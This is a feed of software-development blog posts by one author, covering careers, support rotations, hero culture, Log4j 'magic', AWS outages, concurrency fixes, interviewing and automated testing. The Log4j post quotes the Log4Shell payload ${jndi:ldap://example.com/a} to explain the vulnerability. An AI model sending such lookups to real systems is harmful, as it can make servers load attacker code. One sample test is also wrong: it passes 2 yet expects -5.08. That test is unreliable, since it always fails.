DEV Community: Beekey Cheung

There Is No Roadmap To Becoming A Software Developer

Beekey Cheung — Mon, 16 Jan 2023 23:27:41 +0000

There is no mold you need to fit into to be a great developer.

A lot of people have an impression of what a developer should be or where they should come from. It's as if there's a set career path (e.g. college -> internship -> job) and if you don't follow it, don't bother.

That's patently false.

There's no core set of traits. There's no common background. There's no roadmap everyone followed.

I compiled a list of stories of how successful developers started their careers. Every story is unique. Everyone had their own reason for choosing the profession and their own journey to get there. Some people went to college. Some didn't. Some people loved programming as children. Others started as adults.

Some people managed to pick up programming easily. Others went through a lot of struggle and almost quit.

I almost wanted to say that the only common trait was that everyone wanted to be software developers. Their desire was so strong that they persevered through all the struggles to make it.
Then I read my own story and realized I was more "Eh. I guess? I don't know what else I'd do."

If you're considering a career in software development, these stories are for you. They don't exist to serve as a roadmap. They exist to let you know there is no roadmap. There's no need to worry about whether the steps you are taking are "correct" or not. So long as you are progressing, the steps you take are fine and will get you where you need to be.

Most of the stories also contain contact information on how to reach the story teller. Feel free to reach out to any of them if you have questions!

Customer Support Makes Better Software

Beekey Cheung — Mon, 10 Jan 2022 10:09:00 +0000

Early in my career, I had the incorrect impression that interacting with customers was beneath me.

I had this perception because I was at a large company and standard corporate hierarchies encourage that mentality.

As a result, it has become a pretty widespread idea in our profession. Even if people don't say it, they act like it.

Later in my career, I was asked in an interview how I would handle relations between support teams and software development teams. The answer is probably what cost me that job, but I wouldn't change it.

Software developers should do support rotations.

The way it works is every week, have at least 1 developer on your team pair up with someone on the support team and go over the hardest issues they've had to deal with.

It doesn't have to be for a whole day. Just 1-2 hours makes a huge difference for everyone involved.

First off, you end up getting better software. Even in the most obnoxious waterfall processes, there will be decisions developers have to make that are not in requirements. Software is too complex to write down everything in requirements (and I've written 500 page requirements documents).

Those decisions are often small such as an error message for an edge case. Or adding a loading state for people with slow internet connections.

Sometimes those decisions are large technical decisions, but are invisible to the user most of the time. Unfortunately, when users do notice them, the results are often extremely confusing for both users and support staff. How you handle concurrency falls into this category.

These decisions are often not talked since they're either overly technical or there are a huge number of them. While each individual one is usually not a big deal, in aggregate they have a huge impact on the overall UX of your application.

Pairing up with support teams gives developers more exposure to how their software is actually being used. It not only creates empathy, but also provides critical context needed in making those hidden decisions.

The result will end up being better decisions, better UX, and ultimately better software.

You also end up with better internal tooling. A lot of support tickets often require looking things up. Some of those things may not be easy to query.

Developers hate spending time manually doing the same thing over and over. I know I do. This will result in them building more internal tools to make those queries easier. This makes your support team more effective and solve issues faster, which will end up making your customers happier.

Lastly, having developers pair up with your support teams is the best training your support teams can get. Most of them get what, 1 maybe 2 weeks of "training" in how the product works? Then they get thrown in the deep end answering customer questions.

No one can reasonably expect them to be experts in the product in that time. The result is a larger number of support tickets being forwarded to the development team. Engineering managers try to stem this tide with more process, but they're just kicking the can down the road. Users need answers eventually.

A regular 1-2 hour session every week with developers is going to be extremely effective in training your support teams. They're going to learn how the product really works and be more independant when resolving issues.

The long term effect of this? Developers spending less time investigating bug reports.

Preventing Hero Culture In Software Teams

Beekey Cheung — Mon, 03 Jan 2022 10:09:00 +0000

I've written before on the problems of hero culture. It is still my favorite post that I've written because it hits so close to home for me.

Every situation in that post is hypothetical, but based on a real situation I had to deal with myself.

Unfortunately, that post is very light on the solution, despite the claim of it being easy. That's because most of my experience at the time was in the suffering, not in the prevention.

I still think the tactics I listed are important, but they're not enough.

It's been a few years. I'm a little older. Hopefully a little wiser. That time comes with some new insights.

The most impactful one is going to be investing in your team. My last post mentioned pairing someone up with a hero so that they can learn. That's still important, but insufficient.

Most people don't learn by watching. Humans learn by doing.

And in the case of software development, "doing" isn't just writing code. "Doing" involves all the decisions made around that code.

That means you shouldn't have a senior or lead dev design a system and have another developer implement it. The person working on the code gets to make the decisions.

And I mean really make them. Not: allowed to make them in the beginning only to have it reversed in code review.

Making the decisions gives people ownership of what they're building. It's a little terrifying because there's no one to blame if something goes wrong. But it is also invigorating because ownership gets people to think more intently on the problem at hand.

It also changes the frame of thinking from "is this what my lead wanted?" to "is this actually going to work well?" The former is a line of thinking that creates a dependency on certain people on the team. The latter line of thinking is what developers need to learn.

That learning comes with a whole host of positive side effects.

You're not reliant on a couple of people to catch every possible issue in code reviews. Everyone is capable of maintaining quality. This reduces the frequency where you're going to see a crisis with your systems.

You also now have a team with a stronger understanding of the systems in place. That understanding empowers everyone on the team to investigate issues when they arise, preventing a reliance on heroes when a crisis appears.

You also have a team where everyone feel like they're contributing and that they're growing as developers. This usually helps with retention, and who isn't worried about retaining developers these days?

The primary challenge with letting everyone making decisions is going to be: what if they make a bad decision?

There are many ways to address this. First off, just because you are letting someone make the final decision does not mean they shouldn't get feedback. The feedback just shouldn't be in the form of "you need to change this to X because my experience says it is the best way." The feedback should be more in the form of "How do you handle situation X? I've seen that trip us up a couple of times."

Let the developer come up with the answer to the question. Let them ask for suggestions if they need it.

There of course will be a situation where they will pick something you think is sub-optimal. You won't find a way to provide constructive feedback in a way that gets them to pick what you think is the best solution.

This is going to be the hardest part. The important question to ask is: what are the stakes of letting them implement their solution versus forcing them to use what you think is best?

What is the worst case scenario if every bad thing you can think of comes to pass?

You'll find that most of the time, it won't be that bad. And your developers will learn quite a bit from the experience. You'll see the dividends from that learning a lot sooner and see them be a lot bigger than you think.

It certainly isn't easy to do. It requires letting go. People usually have trouble letting things go, especially if they know a better way of doing something.

But the alternative is to start the slow downward spiral to hero culture. That will certainly be harder to deal with in the long run.

The Perils of Programming Magic

Beekey Cheung — Wed, 29 Dec 2021 10:09:00 +0000

Abstractions are a necessary part of software development. Not having them would make certain things ridiculous.

Imagine building an e-commerce store for books and writing code for each title instead of just having code for the concept of "book" and reusing it for all titles.

The very concept of a "user" in any application is also an abstraction. We wouldn't write code for every person that signs up to use our system.

Abstractions provide conveniences that make software development possible.

But like most things in life, we can always take a good thing too far. Sometimes, the conveniences we chase aren't worth the cost or risk.

A good example of this is putting code in a database. I've seen a PHP application load more PHP code from a database and then execute it immediately. I've also had a marketing person, with enough coding ability to be dangerous, request execution of Javascript code they put into a CMS.

The only logical reason to perform either of these tasks is for convenience. Putting code into source control, getting it reviewed, testing it, and deploying it is a process. Putting code in a database conveniently avoids that process.

Except! That process exists for a damn good reason.

The process makes sure that the code actually works. It makes sure we can trace the history of that code. It makes sure we can rollback the code to a working state if we ever ship something horribly broken.

Bypassing this process for convenience is a terrible idea.

Let's look at another example of more recent events: the series of vulnerabilities in Log4j.

Log4j is a logging library. If I want my application to save some text to a log, I can tell Log4j to do so. It provides some nice conveniences by letting me set some messages as errors and some as debug. This let's me configure things to display more log messages when I'm developing which can help me with my development. It also let's me configure things to not display these messages in production so my production logs aren't cluttered with unnecessary messages.

It is simple yet useful functionality, which is why the library is used so widely.

The problem is the additional magic that is added to it.

The first major vulnerability discovered last week was the log4shell issue. A reasonable thing to log is the user-agent for a visitor to your web application. This let's us know important information like what browser people are using.

log.info("Request User Agent:{}", userAgent);

Unfortunately, Log4j also parsed this text for special markers to perform additional logic on. If someone set their user agent to ${jndi:ldap://example.com/a}, Log4j would effectively load code from that URL.

When most developers need a message logged, they just want that message logged. Anything additional is an edge case at best. Those developers are usually not expecting additional "magic" to come into effect with their logging.

This situation would have been a lot better if there was less magic and the logic was split into explicit functions.

userAgent = log.jndiLookup(userAgent);
log.info("Request User Agent:{}", userAgent);

When splitting up the function, it becomes clear to the programmer that they need to actually sanitize the text in some way or verify the url. Everyone who doesn't need that functionality is safer with a simple logging function. Everyone who does need that functionality can still access it with slightly less convenience.

Combing this logic into a single function created a number of issues. What could have been simple code was suddenly a lot more complex. People who thought they were using a simple function were unaware of that complexity. Side effects were inevitable and in this case those side effects came in the form of a major security vulnerability.

This is why I don't think the primary problem here was technical. The symptom of the security issue was technical. The real problem is the philosophy of what we consider to be good code. Many would consider good code to be being able to implement something while writing as few lines of code as possible. The result of this is programming magic.

I prefer to have code be more explicit like in the example above. Writing code that is explicit does result in more lines of code, but it is easier to understand and easier to work with.

AWS Went Down. Now What?

Beekey Cheung — Mon, 13 Dec 2021 19:09:00 +0000

Amazon Web Services went down last Tuesday. It doesn't happen often, but it is a harrowing experience when it does.

Understandably, people get angry during these times. They have come to rely on AWS to provide services necessary for their business. Who isn't going to be angry when their business stops because of something they can't control? My day job was certainly impacted as well as my businesses.

So what do we do?

There are a lot of options:

Use another cloud service
Go multi-cloud
Go multi-region in AWS
Go on-prem (use your own data center or colo)
Do nothing

I'll be upfront and say I am in the do nothing camp. To understand why, we should go into each of the other options.

The first is to use another cloud service. That's a perfectly fine solution. At the end of my post on switching costs, I advocate for trying Google Cloud mostly because we want a market with a lot of players.

But that's a big move for one outage. If a cloud provider was going down multiple times a year, or even every year, I'd consider a move.

Widespread AWS outages are not that frequent. There may be some event every year, but it will be with a service here or there. Even this past one, EC2 and RDS were operational the entire time. The laboratory in my day job was not impacted at all. Eight One Books was not impacted at all. Dynomantle, which heavily uses S3, was only impacted for the latter half of the outage.

AWS outages are noticeable. That's because of how many big services use them. That's not necessarily a bad thing though. AWS can't hide their outages because of their size. Even if they don't update their status page in a timely maner, everyone knows when they go down.

But every cloud will go down at some point. The scale and complexity of the services involved guarantee it. What's important is making those outages as infrequent as possible and handling things well when they do.

I have definitely experienced a cloud provider go down and pretend it didn't (NOTE: this was not Google Cloud). The outage was localized to a handful of services and they weren't as big as AWS so they just quietly fixed it after a while. Yet during that time, my team and I went crazy trying to figure out what was up. We combed through all our configurations and code thinking it was us when it wasn't.

I'm not saying AWS is filled with saints. I'm saying their size means they can't hide even if they wanted to. That's a feature.

The multi-cloud and multi-region strategies are also very valid strategies. They are not free strategies however. There's no checkbox to instantly give you this. It takes a lot of time to do it right. Every cloud has data transfer costs. AWS charges you for going between regions. Running parallel infrastructure can get expensive as well.

And of course, a failover environment doesn't really provide much peace of mind unless you periodically test that failover environment. Doing that well is also a big time investment.

More importantly, multi-cloud adds a huge amount of complexity to your infrastructure. If you implement it well it can provide you more reliability. That's a big if. Not handling that complexity well can result in less reliability and more outages.

Multi-cloud and multi-region makes sense for a lot of bigger businesses. But you really need to do a thorough cost-benefit analysis to see whether it is right for you.

The on-prem strategy is... well this one I've got some personal trauma around so I've got a lot of bias here.

Fun story for anyone thinking of going on-prem after the #AWS outage:

I once saw a data center go down because some construction workers cut the primary networking cables and the backups didn't have enough bandwidth.
— Professor Beekums (@pbeekums ) December 7, 2021

There are very few situations where going on-prem makes sense. Dropbox makes sense because they offer storage at a cheaper rate than S3. Hybrid cloud makes sense if you have a physical component to your product such as a warehouse or a laboratory.

But for most other situations, going on prem is much much more expensive than you think.

I could start listing all the things you have to take care of, such as cosmic rays or making sure it doesn't rain inside. For every one, someone will go "That's easy to solve! Git gud noob."

The problem is not that going on prem gives you hard problems to solve. The problem is the quantity of problems you have to deal with going on prem. There are literally so many that I doubt any one person can possibly know them all. I've seen people claim they can and the results were... the opposite of spectacular.

You're going to need a team. A large one. With good ops people. That get paid very well.

That bit is often the most underestimated when I've seen people do a cost benefit analysis of cloud vs on prem. You may get away with a skeleton crew for the initial build. The number of people you need to prepare for every possible scenario that can take down your data center is an order of magnitude (maybe two) greater.

You can of course try to get lucky and not do all that preparation. Maybe you'll be fine for a few years. But when you see an outage, and you will see an outage, you're unlikely to fix it in 24-48 hours like AWS. You'll be lucky if you can fix it in weeks.

That moves us into the do nothing option.

For those of us using AWS, what did we do during this outage?

In my first AWS outage, I tried to do quite a bit. I frivously tried to access all our systems to no avail. I doomscrolled and refreshed the AWS status page constantly. I stayed awake the entire time so I could check all our systems when AWS came back. This was over 10 years ago.

With this last outage, I relaxed. I periodically checked the status page. Talked to some peers dealing with the same issue. Told my team not to worry. Made a list of things to sanity check. Went to sleep. Ran the sanity checks the next day. Everything recovered fine.

The team at AWS did the hard work. They did the prep. They handled the stress of the situation. They fixed it. They made sure everything came back online in a good state. And they do the hard work of minimizing outages in the future.

I have never been through an AWS outage where any of my actions during the outage actually mattered. Sure I run a sanity check of the systems, but I've never seen something not come back online ok. Never had data loss or corruption. The output of my actions was to make me feel better about doing something. I never really need to do anything though.

Ironically, it is big tech companies like Amazon that has made our entire profession obsess over the number of 9s of availability. It feels like it matters a lot.

Sure if you're down all the time you will lose customers. But how many customers will you actually lose from going down 1-2 days every few years?

How many people do you think unsubscribed from Netflix because of this AWS outage?

How many people do you think will stop going to McDonald's because of this AWS outage?

How many people do you think uninstalled Venmo because of this AWS outage?

World of Warcraft used to go down every Tuesday for maintenance the first few years of launch. That product saw over 15 years of success.

If you have a product that people want, an occassional outage is not going to cost you much.

See you at the next AWS outage.

Solving Common Concurrency Problems

Beekey Cheung — Sun, 05 Dec 2021 10:09:00 +0000

Concurrency is a notorious cause of really frustrating bugs. Most software bugs are consistent. If you do X, then Y, then Z, you get Bug A.

You can get race conditions with concurrency though. That’s basically a bug where if you do X, then Y, you’ll get Bug A maybe 10% of the time. The occurrence of the bug is intermittent which makes it hard to find the root cause since you can’t reproduce it reliably. It also makes it hard to prove you actually fixed the issue. If Bug A only happens 10% of the time, you'll need to try to reproduce the bug a lot to have reasonable confidence you've fixed it.

Dealing with concurrency issues was my bread and butter early on in my career. I loved working with threads and fixing race conditions the senior developers missed. It was a huge confidence boost.

Then I went into an interview and was given a concurrency question. Total. Bomb.

It was then I realized that I was good at a certain type of concurrency problem and that problem happened to be the majority of concurrency issues.

First let's talk a little bit about what concurrency is. We'll then continue to a simple concurrency problem and then a more gnarly problem.

Concurrency is basically having multiple separate pieces of code to function at the same time. Let's start with a hypothetical and then go into a real situation.

Say I need to make 5 different requests to an API. Each one will take 100ms to complete. If I wait for one to complete before starting the next, I will end up waiting 500ms.

If I execute all those web requests at the same time, I will end up waiting 100ms + some small amount of overhead.

That's a pretty big performance difference. That's usually why concurrency is used.

It sounds like a simple concept right? That's because it is a simple concept.

The problem is the execution. Those API requests take approximately 100 ms each, not exactly 100 ms each.

That means you'll make the API requests in order, but the return will be out of order:

and the return order will be different every time you run this code that executes the API requests.

You get a performance improvement with concurrency, but you give up consistency.

The bugs start popping up if the code handling the response of these API requests use shared data.

Let's look at a more detailed example of how this can happen. There was a bug in Dynomantle with the suggestions in the search bar.

Here's the problem: an api request is made every time you type a character. This is to provide you a smooth experience of seeing suggestions as you type. You type "i" and your notes/bookmarks/emails that start with "i" pop up. You type "in" and the list gets refined to things that start with "in".

How long does it take you to type 5 characters when you know what you want to find? 2 seconds? 1 second? Half a second?

I still need to tune the feature, but right now it takes somewhere between half a second and 1 second to process each API request.

It would be an awful user experience to make someone wait a second between typing each character. So I just make an API request as each character is typed. The problem is that the requests return out of order. The request with 2 characters can return after the request with 5 characters.

The suggestions are just stored as a list. Every time a response comes in, the entire list is refreshed. In this situation, the entire list was refreshed with the correct suggestions when the last request returned, but then populated with incorrect suggestions when an older request returned.

Fortunately this is a really easy problem to solve since the requests are made in order.

1) Generate a timestamp or hash every time a request is made. This basically serves as a request id.

let requestId = Date.now()

2) Set the request id as an additional variable with the suggestion list. Since we make requests in order, this will always be the last request.

let requestId = Date.now()
// Datastore is some singleton for
// easy access to these types of variables
datastore.setLastRequestId(requestId)

3) Pass the request in the success function of each API call.

let requestId = Date.now()
datastore.setLastRequestId(requestId)
$.ajax({
    success: function(json) {
        suggestionsReceived(json, requestId)
    },
})

4) Validate when a response comes that it is always for the expected request.

suggestionsReceived(
    suggestions: Array,
    requestId: number,
) {
    if(datastore.lastRequestId != requestId) {
        return
    }
    // the rest of the code
}

The problem unfortunately is if the user types very fast they could see a delay in seeing any suggestions. Even if they don't use the 2 character suggestion, seeing it populate can provide a sense that the app is doing something versus just waiting.

Solving this requires a small modification to the code above.

We'll stick to using timestamps instead of a hash.

Next we will store the last request id received instead of the last request id made.

let requestId = Date.now()
$.ajax({
    success: function(json) {
        suggestionsReceived(json, requestId)
    },
})

suggestionsReceived(
    suggestions: Array, 
    requestId: number,
) {
    datastore.setLastRequestId(requestId)
    // the rest of the code
}

Finally we will only refresh the list if the response has a higher request id than the last one received. Since we use timestamps as the request id, all the requests are in order and bigger ids are more up to date requests.

suggestionsReceived(
    suggestions: Array, 
    requestId: number,
) {
    if(datastore.lastRequestId > requestId) {
        return
    }
    datastore.setLastRequestId(requestId)
    // the rest of the code
}

NOTE: this only works because users are not going to be typing in multiple characters in the same millisecond. If they do, they are pasting content and we only want to make one api request anyway.

Another important note is that this also only works because of how Javascript handles concurrency. It isn't really concurrent. Each function executes and completes before another is run.

Try similar code in Java and you will have a bad time because multiple calls to suggestionsReceived() can execute at the same time. That means a suggestion response for "in" and "inv" can both pass the check in the if statement and then execute the rest of the function.

suggestionsReceived(
    suggestions: Array, 
    requestId: number,
) {
    if(datastore.lastRequestId > requestId) {
        return
    }

    // 2 function calls can end up here at the same exact time. 

    datastore.setLastRequestId(requestId)
    // the rest of the code

    // Maybe the results for "inv" get set slightly faster, 
    // then the results for "in" get set.
    // We end up with old suggestion results again.
}

The behavior you will see will be wildly inconsistent depending on how long the rest of the function is and the timing of the two function calls. To get this to work in a truly concurrent language, you'll need to look up how to use locks for that language. Redis also has distributed locks if you're dealing with concurrency across multiple servers.

A lock basically blocks function execution while another function has the lock. If we needed locks in Javascript, it would look something like this:

suggestionsReceived(
    suggestions: Array, 
    requestId: number,
) {
    // Wait for the lock to be unlocked before continuing
    lock.lock()

    if(datastore.lastRequestId > requestId) {
        return
    }
    datastore.setLastRequestId(requestId)
    // the rest of the code

    // Let other functions waiting for the lock execute.
    lock.unlock()
}

The risk of course is if we never unlock, then the other functions never execute. If we use multiple locks across multiple functions, we could end up in a situation where two functions are waiting for locks that the other function has locked. Our program now freezes because neither function can progress. That's called a deadlock situation.

The suggestions bug in Dynomantle is a simple concurrency problem because it is in Javascript. Let's go into a more complicated one that happened to be in Java, but one whose lesson should be transferable to many other issues.

My first job out of college was working on a network management application. Example: You are visiting a company and connect to the guest wifi network. Our application would allow system administrators to configure your access based on login credentials, location in the office, time of day, etc. They could enable or block ports depending on their corporate policy.

The concurrency comes into play by the fact we supported multiple protocols. We supported 802.1x for wifi, but we also supported authentication based on the ethernet port someone connected to, the Kerberos authentication protocol, and a few others.

As soon as you turned your computer on, it would attempt to connect with as many protocols as it was configured to. At. The. Same. Time.

Let's say an admin set a less accessible policy for ethernet port access. You can maybe get port 80 and 443 (basically just web browsing). If you authenticate with Kerberos you can get wider network access. The problem here is that order is irrelevant. The admin could configure which protocol had priority if a user authenticated with multiple ones.

The code handed to me when I started this project stored the status of authentication in a single database table and each person's MAC address was given one row and one row only:

primary_key - int
mac_address - varchar(255) and a unique key
authentication_protocol - enum
status - enum

(The real table was much more complex, but this was 15 years ago so bear with me)

The authentication_protocol column stored the protocol that took the highest priority and was successful. It would also store the protocol of the highest priority if all authentication attempts failed.

I've oversimplified the problem, but we needed thousands of lines of code trying to coordinate all the different protocols that came in, figuring out which had the highest priority, dealing with some of those protocols having multiple authentication steps, dealing with various locks throughout, and also accounting for some quirks in the firmware for various switch and router manufacturers. Customers were pretty unhappy because it rarely worked right and users were constantly getting the wrong network policy assigned to them.

I spent most of the first few months of my career fixing this one bug and then dealing with the followup bugs that popped up. Eventually I realized that the problem was not that our user needs were complex. The problem was we built a bad data model and it made the code way more complex than it needed to be.

The solution was pretty simple. Take that same database table above. Now add a row for each MAC address AND protocol. Instead of having one row and trying to coordinate which protocol to display in that row, just add a row for every protocol.

Concurrency is still happening, but you remove the need to coordinate what data to actually save from that concurrency. Each thread/process gets their own data that they exclusively modify. When determining network access for a user, just look up all the rows for that user and select the relevant one.

No locks. No shared data to modify.

The code ends up being simpler because you can ignore concurrency for the most part. Developers are happy. The code works properly. Customers are happy.

Realistic scenarios only had administrators set up 2-3 policies that would apply to a single person so I did end up increasing the table size by 2-3x. However, that's linear growth. Databases can handle linear growth easily. Going from 1000 rows to 3000 rows is irrelevant. Going from 1 million rows to 3 million rows is also irrelevant with modern hardware.

Going from 1 billion rows to 3 billion rows is probably relevent. However, you should have started scaling the database to support 3 billion rows well before you hit 1 billion anyway.

All of that was a long winded way of saying: increasing a tables size by 3x is well worth the price of not having to worry about concurrency.

This sort of problem is a common concurrency problem. A lot of data seems like it needs to be accessed and modified by different concurrent processes at once. Most of the time that isn't true. Small tweaks to a data model and taking advantage of the fact that storage is cheap can save your team a ton of work.

I hope this post was helpful to you! Feel free to reach out if you have any questions or would like some advice on your own concurrency problems. Subscribers to my newsletter also get some bonus content describing some other concurrency problems. You can subscribe here.

Interview Performance Does Not Equal Job Performance

Beekey Cheung — Thu, 18 Nov 2021 01:09:00 +0000

This is a conversation I had when I was interviewing a few years ago:

Interviewer:
"Yeah, a lot of candidates actually have trouble with this problem because it never shows up in the software we write."

Me:
"...so why is it part of the interview?"

Silence

There is so much content out there right now about what candidates can do to "stand out" and "perform" well on interviews.

What there isn't enough of is content for interviewers to conduct better interviews. That's arguably way WAY more important.

The biggest reason for that is in a supposed talent shortage, most interviews are still conducted in a way that evaluates interview performance and not job performance. The latter is the whole point of interviews. The former is irrelevant.

There is the added bonus that a lot of really smart people struggle to get jobs because they can't play the interview game. If you focus on making sure your interviews evaluate actual job performance, then you'll hire great candidates that other companies are rejecting. Win-win for you and the candidate.

I spent years with my peers working on ways to improve the interview process. We're still working on improving because we treat conducting interviews as important a skill as building software.

One of the most critical things was implied with the quote at the beginning of this post: Make sure your interview question is actually relevant to the work.

I once greenlit a candidate who aced our interview process. The problem was we were copying everyone else and used an algorithm heavy interview. This candidate was brilliant in that area. Unfortunately, he wasn't able to really do what we needed him to do. We needed someone who knew database schemas. We needed someone who knew how to do system design. We needed someone who could come up with creative solutions while working with other stakeholders at the company.

The problem was not the candidate we hired. The problem was we hired someone for the wrong job.

For every position since then, I always craft an interview question that is either a problem we have solved or need to solve at a company. I modify the question to fit a 1-2 hour technical interview (I have only recently gotten it down to 1 hour). If a candidate does well on the problem, then they would have done well with the actual projects we have.

This criteria hasn't failed me since.

One important note in evaluating performance in this is to NOT treat your solution as the "correct" solution. Every developer is shaped by their experiences. They worry about the things that have burned them in the past and that shapes their solutions. The important part of the question is not the end solution, but why they make certain choices in their solution. Do they have good reasons or are they just picking blindly?

A really important note is nervous candidates. I have definitely made the mistake of going "Oof, I thought this candidate was going to be good, but they were too nervous to really show me what they were capable of. No hire."

I know bigger companies have a more rigid process, but if you have the flexibility: give the candidate a redo.

I have not given redos very often. I don't give them to every candidate that seems nervous in the interview. But there are situations where I will offer a candidate another technical interview round. Maybe they really impressed me in a phone screen and their technical interview was just a huge disconnect. Maybe I fumbled conducting the interview which threw the candidate off their game. Maybe they demonstrated some flashes of brilliance even though the overall interview was bad. Maybe all of the above.

Software developers are not performing sales. Confidence in high pressure situations is not required to do the job. If you think there is a good chance a candidate could do well given another chance, then please give them that chance.

These are some of the bigger things I've learned about conducting interviews. If you'd like to share some of the things you've learned or would like to discuss some other things I've learned, you can contact me @PBeekums

A Guide To Automated Testing

Beekey Cheung — Sat, 20 Feb 2021 18:49:47 +0000

Almost every developer has at some point in their career encountered (or built) a piece of code that’s so intimidating, no one wants to touch it. Changes to the code may be easy, but the code has so many edge cases that breaking something is easy.

And of course, a bug will eventually come in that is caused by that code. No one wants to draw the short straw there. The fix may be easy, but the testing would take hours. And that assumes that all the edge cases are documented or known. (ha!)

Automated testing won’t make this piece of code pretty, but it can certainly make working with it easier. A test plan that takes several hours to go through manually can be run in mere seconds as an automated test suite. That not only saves time, but gives you confidence when making changes to some sensitive code. With automated integration tests, you may even have a much easier time rewriting the thing if you so choose.

There are a lot of topics under the umbrella of automated testing. In this post we’ll cover the following at a high level:

Unit Testing
Integration Testing
Selenium Testing
Limitations to Automated Testing

Unit Testing
Unit testing is the most basic form of automated testing. It is what most people talk about when they talk about writing tests. The advantages of unit testing is that they are simple to understand, simple to write, and execute consistently.

Let’s say you have a function to calculate inches to centimetres: convert_inches_to_cm(inches_value)
One unit test would be to convert a simple case where 2 inches should be 5.08 cm:

def test_simple_in_to_cm_conversion():
    result = convert_inches_to_cm(2)
    assert result == 5.08

One unit test is rarely enough so we add some test cases for “edge” cases.

def test_zero_in_to_cm_conversion():
    result = convert_inches_to_cm(0)
    assert result == 0

def test_negative_in_to_cm_conversion():
    result = convert_inches_to_cm(2)
    assert result == -5.08

Expected errors should also be tested to make sure our application doesn’t crash with bad input.

def test_non_numerical_in_to_cm_conversion():
    result = convert_inches_to_cm(“yolo!”)
    assert result == None

Unit tests are also great for more complicated functions. For example, Dynomantle scrapes webpages to provide link previews. Descriptions on a web page can be provided in a variety of ways. Here is what a test extracting the description from a Twitter meta tag looks like:

def test_extract_description_from_twitter(self):
    html = ”“”<Some really long html from a sample site>”“”
    parser_obj = html_parser.HtmlParser(html_content=html)
    descr = parser_obj.extract_description()
    assert descr == ‘An awesome blog on software development’

There are numerous other tests as well where the test code is exactly the same, but the html has been changed to account for the different case.

Now unit tests are excellent for functions that have all the logic they need contained inside they. These functions don’t interact with other parts of your code base. Most importantly, they don’t interact with ANY other systems like a database.

Take Dynomantle as an example. Say there was a unit test for adding a bookmark. To validate that the bookmark was added correctly, we would have to retrieve the bookmarks for a note. The first time we run this test, we end up with one bookmark in the database. The problem is that the second time we run the test, we’ll have two bookmarks. The third time will result in three bookmarks. The database is changing with every execution of the test which jeopardizes the consistency of the tests.

This problem can be avoided by using something called “mocks”. We won’t go too deep into mocks because note that we are avoiding the problem and not solving the problem with mocks. The goal of unit tests is to test bite size pieces of our application, but we still need to test our application as a whole. How the different pieces interact matters a great deal.

The following gif perfectly illustrates the limitations of unit testing:

Credit: https://natooktesting.wordpress.com/2017/08/24/x-unit-tests-0-integration-tests/

The remote sensor triggers correctly with a human hand. The faucet correctly delivers water. The sink bowl would probably hold the water properly…. if only the faucet and the bowl interacted well.

Integration Testing
This brings us to the topic of integration testing. This is where we test larger parts of our system. If you have an API endpoint that calls 5 functions, the unit tests would cover each of those 5 functions, but the integration test would run the API endpoint as a whole.

Using Dynomantle as an example, there is an endpoint to add a URL as a bookmark. The unit tests cover each individual function used to parse the HTML content and retrieve data necessary for link previews. The integration tests call the endpoint itself and validates that the link preview as a whole appears correctly.

It is a more representative test of how users are using the application. However, integration tests are often neglected compared to unit tests because they are not simple to write, not simple to execute, and are a struggle to get consistency with.

We still have the problem where every time you add a bookmark, the data in the database is changing. Unit tests are talked about more often because it is so difficult to get consistent executions with integration tests. To ensure consistency, the integration tests for Dynomantle involve:

Setting a database with a fresh schema
Creating new search indices
Creating test users
Running the tests
Deleting the database
Deleting search indices
Clearing Redis

That list only grows as new systems are added or built. Dynomantle has it easy too. All data for a user is isolated to that user. That means each test can have its own user which makes running tests concurrently easy. A product that relies on aggregating a group of users data, or even all user data, will have a lot more complexity in the setup and execution.

The complexity with integration testing makes these form of tests potentially fragile. Few things frustrate a developer more than having a test unrelated to their change fail. Faulty tests create a gut reaction that the tests aren’t worth maintaining, even in people who strongly believe in tests.

An example of this is logic that uses timestamps. It is really easy to just create a timestamp exactly where you need it in the code. The problem here is: are your timestamps down to the millisecond or to the second? Integration tests execute faster than human users interact with your app. If your timestamps only go down to the second, then you can have multiple timestamps created in the same second. Anything you have that is sorted/ordered by timestamp will now be non-deterministic. Any test on sorting order will now fail 50% of the time.

It sounds like storing timestamps in milliseconds is an easy fix. Depending on your application though, that could have big storage or performance implications at scale. Do you make this decision solely for tests to run when it has no effect on your users?

You could also strategically decide where timestamps are created. It would look something like this:

def api_endpoint():
    func1()

def func1():
     func2()

def func2():
     my_time = time.time()
     func3(my_time)

into this:

def api_endpoint():
    my_time = time.time()
    func1(my_time)

def func1(my_time):
     func2(my_time)

def func2(my_time):
     func3(my_time)

This allows you to at least test func1 with whatever timestamp you want in the test. More edge cases around sorting order can be accounted for in the func1 tests while the api_endpoint tests can be a bit more spare.

However, the code is a bit more cumbersome now because you have to create the timestamp in a place that does not need the timestamp and then pass it down. It doesn’t seem so bad in this example, but it can get really irritating in any real application.

There are lots of solutions around this problem, but every solution is going to have some trade off. And you still have to deal with the issue of thinking of these problems ahead of time. Timestamps are easy to think of because they’re so commonly used. Every application is going to have its own set of unique problems to deal with in integration tests though.

Reliable integration tests take time to build because you have to commit to solving the bugs in the tests themselves.

Despite the challenge, integration tests are a critical part of any automated testing strategy. To have the confidence to do a release without a full manual regression test, the automated tests need to run through scenarios as if they were real users taking action. That can’t be simulated with just unit tests.

Integration tests aren’t the highest fidelity test we can have however. If you have a web application, you’d probably build integration tests for the frontend in Javascript and it would just test the frontend. Then you’d have integration tests for your backend and it would just test your backend. How do we test that the frontend actually interacts well with the backend?

Selenium Testing
Selenium tests are the highest fidelity automated tests you can have for web applications. A real browser is launched by the Selenium driver, the application is rendered as it would in your user’s browser, and the test would click/drag/type in the application the same way your users would. It also doesn’t matter if you have a single page application or not. Selenium treats your application as a black box and doesn’t need to know anything other than the ids and class names of your html elements.

The nice thing is you can also watch the test run. Instead of reproducing a failed test case by looking at code, you can watch Selenium click through your application until it hits a failure case. You can even open up the browser console and start debugging when the test fails.

You may have already guessed the biggest downside of selenium tests though: execution speed. Selenium can click faster than a human user, but it is still waiting for pages to load and API calls to complete. There’s an option for a “headless” mode which removes a visual browser from having to render your application, but it still takes a while for a test to execute. A series of integration tests that take 2 minutes to execute could take hours with Selenium. Even if you’re not doing the testing manually, that is a long time to wait.

Treating your application as a black box also means Selenium is not appropriate for testing certain technical aspects of your application such as whether data is being loaded from a cache or a database.

Selenium testing is most likely best for testing the “happy path” in your application while leaving the majority of edge cases to be tested by integration tests.

Limitations of Automated Testing
